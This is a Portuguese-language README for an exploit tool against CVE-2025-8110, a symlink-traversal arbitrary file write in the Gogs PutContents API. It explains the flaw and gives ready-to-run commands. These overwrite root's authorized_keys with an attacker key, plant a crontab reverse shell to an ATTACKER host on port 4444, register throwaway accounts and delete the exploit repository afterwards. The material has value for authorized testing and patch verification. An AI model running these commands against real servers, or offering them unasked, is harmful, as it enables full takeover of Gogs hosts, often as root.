CVE-2025-8110 — Gogs <= 0.13.3 Escrita Arbitrária de Arquivo via Traversal de Symlink

Visão Geral

Gogs <= 0.13.3 é vulnerável a escrita arbitrária de arquivo através da API PutContents (/api/v1/repos/:owner/:repo/contents/:path).

A API valida caminhos de arquivo contra sequências de traversal de diretório (../) mas não resolve links simbólicos antes de escrever. Um usuário autenticado pode enviar um commit contendo um symlink apontando para qualquer arquivo no servidor e depois chamar PutContents nesse symlink para sobrescrever o arquivo-alvo com conteúdo controlado pelo atacante.

Quando o Gogs executa como root (o padrão em Docker e muitas implantações), isso resulta em comprometimento total do sistema.

Requisitos

• Python 3.10+
• requests (pip install requests)
• CLI git
• Uma conta Gogs válida (ou auto-registro aberto no alvo)

Uso

# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

Como Funciona

1. Autenticar — Faça login (ou auto-registre-se) e crie um token de API.
2. Criar um repositório — Inicialize um novo repositório com um README através da interface web.
3. Enviar um symlink — Clone o repositório localmente, crie um symlink apontando para o arquivo-alvo (ex.: /root/.ssh/authorized_keys), faça commit e envie.
4. Escrever através do symlink — Chame a API PutContents no nome do arquivo symlink. O Gogs resolve o symlink no disco e escreve o conteúdo do atacante no arquivo real como o usuário do processo Gogs (frequentemente root).

Opções

--url             URL base do Gogs (ex.: http://target:3001)
-u, --user        Nome de usuário do Gogs
-p, --password    Senha do Gogs
--register        Auto-registrar uma conta descartável (sem captcha)
--target-file     Caminho absoluto para sobrescrever no servidor
--content         Conteúdo em string a ser escrito
--content-file    Arquivo local cujo conteúdo será escrito
--repo            Nome do repositório a criar (padrão: aleatório)
--link-name       Nome do arquivo symlink no repositório (padrão: payload)
--cleanup         Excluir o repositório de exploração após a escrita

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.